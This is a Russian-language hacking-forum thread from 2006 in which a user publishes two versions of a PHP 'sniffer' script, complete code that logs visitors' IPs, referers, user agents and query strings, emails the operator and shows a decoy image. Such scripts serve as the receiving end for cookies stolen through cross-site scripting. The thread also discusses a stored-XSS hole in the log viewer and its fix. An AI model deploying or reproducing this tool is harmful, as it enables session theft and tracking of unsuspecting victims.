Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
ProTeam Sniffer by Developer aka RUSH |

07.05.2006, 23:17
|
|
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме: 125505
Репутация:
116
|
|
ProTeam Sniffer by Developer aka RUSH
Вот, наконец-то я решил взяться за написание хорошего сниффера. Написал первую версия и вот, выкладываю ее на обозрение.
Код:
<?php
// Конфигурация
$config['file'] = "sniffer.txt"; // Файл, куда будет писаться или считываться информация.
$config['img'] = "sniffer.gif"; // Путь к изображению для показа относительно самого сниффера. Чтобы отключить эту функцию - впишите 0.
$config['email'] = "MyMail@mail.ru"; // E-Mail для отправки уведомлений. Чтобы отключить эту функцию - впишите 0.
$config['from'] = "Sniffer@example.com"; // Адрес, с которого будут отправляться уведомления.
$config['name'] = "Sniffer: new query"; // Тема письма.
$config['new'] = "New query at"; // Фраза, вставляемая перед временем запроса.
// Подавляем вывод ошибок
error_reporting(0);
function index()
{
global $config;
// Проверки на несуществующие или пустые индексы
if (empty($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] == "unknown") {
$_SERVER['HTTP_X_FORWARDED_FOR'] = "Hide";
}
if (empty($_SERVER['QUERY_STRING'])) {
$_SERVER['QUERY_STRING'] = "None";
}
if (empty($_SERVER['HTTP_REFERER'])) {
$_SERVER['HTTP_REFERER'] = "Hide";
}
// Создание массива
$info['date'] = date("d.m.Y H:i:s");
$info['proxy_ip'] = $_SERVER['REMOTE_ADDR'];
$info['line_ip'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
$info['referer'] = $_SERVER['HTTP_REFERER'];
$info['agent'] = $_SERVER['HTTP_USER_AGENT'];
$info['query'] = urldecode($_SERVER['QUERY_STRING']);
// Создание строки
$string = $info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n";
// Запись строки в файл
$link = fopen($config['file'], "a");
fwrite($link, $string);
fclose($link);
unset($string, $link);
// Отправка уведомления на E-Mail
if (!empty($config['email'])) {
$script = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$text = $config['new']." ".$info['date']."\r\n".$script;
mail($config['email'], $config['name'], $text, "From: ".$config['from']."\r\n");
unset($script, $text);
}
unset($info);
// Вывод изображения
if (!empty($config['img'])) {
$image = file_get_contents($config['img']);
header("Content-type: image/gif");
header("Content-length: ".strlen($image));
echo $image;
unset($image);
}
}
function view() {
global $config;
$file = file($config['file']);
foreach ($file as $string)
{
$array = explode("||", $string);
foreach ($array as $value)
{
echo $value."<br />\n";
}
echo "<hr />\n";
}
}
if (empty($_GET['mode'])) {
$_GET['mode'] = "index";
}
switch ($_GET['mode'])
{
case "view":
view();
break;
default:
index();
break;
}
?>
Сниффер может посылать уведомление на e-mail, показывать картинку, записывать данные в файл и выводить их.
В ближайшее время планируется релиз версии 1.1, 1.2 и 2.0.
В версии 1.1 будет переработана система вывода запросов - будет разработан дизайн.
В версии 1.2 будет возможность очищать лог сниффера прямой из веб-интерфейса.
И самая крутая фишка, которая нас ожидает в версии 2.0 - при поступлении запроса, сниффер будет мгновенно отправлять сообщение на ICQ (Я думаю у настоящего хакера эта тузла включена постоянно).
А сейчас вы можете потестить первую версию и выложить свои мысли по ней  )) Да прибудет с тобой сила, тестер!
Последний раз редактировалось Developer; 07.05.2006 в 23:20..
|
|
|

07.05.2006, 23:19
|
|
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме: 125505
Репутация:
116
|
|
Забыл добавить - чтобы посмотреть лог сниффера запустите скрипт с параметром "mode=view".
|
|
|

07.05.2006, 23:22
|
|
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме: 125505
Репутация:
116
|
|
Так же ваши мысли можете убить в моей репутации *расчитывает на хорошие*  )) Хотя, если мысли плохие - убейте их в том же йогурте!
|
|
|

08.05.2006, 14:49
|
|
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме: 125505
Репутация:
116
|
|
Свет увидела новая версия моего сниффера  )) Продолжаем отлавливать баги:
Код:
<?php
// Конфигурация
$config['login'] = "login"; // Логин для входа
$config['password'] = "password"; // Пароль для входа
$config['file'] = "sniffer.txt"; // Файл, куда будет писаться или считываться информация.
$config['img'] = "sniffer.gif"; // Путь к изображению для показа относительно самого сниффера. Чтобы отключить эту функцию - впишите 0.
$config['email'] = "MyMail@mail.ru"; // E-Mail для отправки уведомлений. Чтобы отключить эту функцию - впишите 0.
$config['from'] = "Sniffer@example.com"; // Адрес, с которого будут отправляться уведомления.
$config['name'] = "Sniffer: new query"; // Тема письма.
$config['new'] = "New query at"; // Фраза, вставляемая перед временем запроса.
error_reporting(0);
function auth() {
header('WWW-Authenticate: Basic realm="ProTeam Sniffer"');
header('HTTP/1.0 401 Unauthorized');
die("<br /><br /><div align=\"center\"><b>Не правильный логин или пароль!</b></div>");
}
function index()
{
global $config;
if (empty($_SERVER['HTTP_X_FORWARDED_FOR']) || $_SERVER['HTTP_X_FORWARDED_FOR'] == "unknown") {
$_SERVER['HTTP_X_FORWARDED_FOR'] = "Hide";
}
if (empty($_SERVER['QUERY_STRING'])) {
$_SERVER['QUERY_STRING'] = "None";
}
if (empty($_SERVER['HTTP_REFERER'])) {
$_SERVER['HTTP_REFERER'] = "Hide";
}
$info['date'] = date("d.m.Y H:i:s");
$info['proxy_ip'] = $_SERVER['REMOTE_ADDR'];
$info['line_ip'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
$info['referer'] = $_SERVER['HTTP_REFERER'];
$info['agent'] = $_SERVER['HTTP_USER_AGENT'];
$info['query'] = urldecode($_SERVER['QUERY_STRING']);
$string = $info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n";
$link = fopen($config['file'], "a");
fwrite($link, $string);
fclose($link);
unset($string, $link);
if (!empty($config['email'])) {
$script = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'];
$text = $config['new']." ".$info['date']."\r\n".$script;
mail($config['email'], $config['name'], $text, "From: ".$config['from']."\r\n");
unset($script, $text);
}
unset($info);
if (!empty($config['img'])) {
$image = file_get_contents($config['img']);
header("Content-type: image/gif");
header("Content-length: ".strlen($image));
echo $image;
unset($image);
}
}
function view()
{
global $config;
$file = file($config['file']);
if (empty($file[0])) {
echo "<br />\n";
echo "<br />\n";
echo "<br />\n";
echo "<div align=\"center\"><h3>Запросы отсутствуют.</h3></div>";
exit;
}
krsort($file);
$file_count = count($file);
echo "<form name=\"delete\" action=\"".$_SERVER['PHP_SELF']."?mode=delete\" method=\"post\">\n";
for ($c = 0; $c < $file_count; $c++)
{
$array = explode("||", $file[$c]);
if (strpos($array[5], "&")) {
$query = explode("&", $array[5]);
$count = count($query);
$prev = $count - 1;
$array[5] = "";
for ($i = 0; $i < $count; $i++)
{
$array[5] .= $query[$i];
if ($i != $prev) {
$array[5] .= " <b>//</b> ";
}
}
unset($query, $count, $prev);
}
$str_num = $file_count - $c;
echo "<fieldset>";
echo "<table width=\"100%\" border=\"0\">\n";
echo "<tr>\n";
echo "<td>Дата:</td>\n";
echo "<td>".$array[0]."</td>\n";
echo "<td rowspan=\"6\"><input id=\"del\" name=\"box-".$str_num."\" type=\"checkbox\" value=\"del-".$str_num."\"></td></tr>\n";
echo "<tr>\n";
echo "<td>IP-адрес (Proxy):</td>\n";
echo "<td>".$array[1]."</td></tr>\n";
echo "<tr>\n";
echo "<td>IP-адрес (Прямой):</td>\n";
echo "<td>".$array[2]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Реферер:</td>\n";
echo "<td>".$array[3]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Браузер:</td>\n";
echo "<td>".$array[4]."</td></tr>\n";
echo "<tr>\n";
echo "<td>Запрос:</td>\n";
echo "<td>".rtrim($array[5])."</td></tr>\n";
echo "</table>\n";
echo "</fieldset>\n";
echo "<br />\n";
}
echo "<table width=\"100%\" border=\"0\">\n";
echo "<tr>\n";
echo "<td align=\"right\"><input type=\"submit\" value=\"Удалить отмеченные\"></td></tr>\n";
echo "</table>\n";
echo "</form>\n";
unset($file, $file_count, $array);
}
function del()
{
global $config;
$file = file($config['file']);
foreach ($_POST as $string)
{
$array = explode("-", $string);
if ($array[0] == "del") {
unset($file[$array[1] - 1]);
}
}
unset($array);
$string = "";
foreach ($file as $str)
{
$string .= $str;
}
$link = fopen($config['file'], "w");
fwrite($link, $string);
fclose($link);
header("Location: ".$_SERVER['PHP_SELF']."?mode=view");
}
if (empty($_GET['mode'])) {
$_GET['mode'] = "index";
} else {
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW'])) auth();
if (!($_SERVER['PHP_AUTH_USER'] == $config['login'] && $_SERVER['PHP_AUTH_PW'] == $config['password'])) auth();
}
switch ($_GET['mode'])
{
case "view":
view();
break;
case "delete":
del();
break;
default:
index();
break;
}
?>
Последний раз редактировалось Developer; 08.05.2006 в 15:10..
|
|
|

08.05.2006, 14:55
|
|
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме: 125505
Репутация:
116
|
|
Краткий список возможностей:
+ Вывод картинки в буфер
+ Запись всех данных, которые возможно получить
+ Обработка запроса и вывод "В красивом виде" (Запрос разделяется через &)
+ Возможность поставить логин/пароль для просмотра лога через веб-интерфейс
+ Удаление записей прямо из веб-интерфейса
+ Посылка уведомлений на e-mail (Хорошо использовать в связке с Mail-Agent)
+ Небольшой размер
+ Не напрягающий глаз интерфейс
+ Все в одном файле
|
|
|

08.05.2006, 20:09
|
|
Познавший АНТИЧАТ
Регистрация: 26.11.2004
Сообщений: 1,149
Провел на форуме: 941818
Репутация:
569
|
|
а дай какие-нить превью чтоли. а то уж больно впадлу у себя тестить =) или хотя бы скрины какие
|
|
|

08.05.2006, 20:18
|
|
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме: 125505
Репутация:
116
|
|
|
|
|

10.05.2006, 01:10
|
|
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме: 5887054
Репутация:
1292
|
|
Фильтры
Прикольный снифер, но рас ты решил сделать вэб интерфейс, то хоть какие небудь фильтры поставь
PHP код:
$query =~ s/</</g; # это правдо на перле
ато я зашол посмотрель лог изнутри, а там скриптов море, хорошо что они у меня отключены.
|
|
|

10.05.2006, 15:34
|
|
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме: 125505
Репутация:
116
|
|
hidden, да уж... Не пропалил я возможность вставки скриптов в лог  )) В общем, решение:
Код:
$string = $info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n";
Меняем на:
Код:
$string = htmlspecialchars($info['date']."||".$info['proxy_ip']."||".$info['line_ip']."||".$info['referer']."||".$info['agent']."||".$info['query']."\n");
|
|
|

10.05.2006, 15:43
|
|
Участник форума
Регистрация: 03.05.2006
Сообщений: 167
Провел на форуме: 125505
Репутация:
116
|
|
Всем, кто будет находить баги, буду ставить + 
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|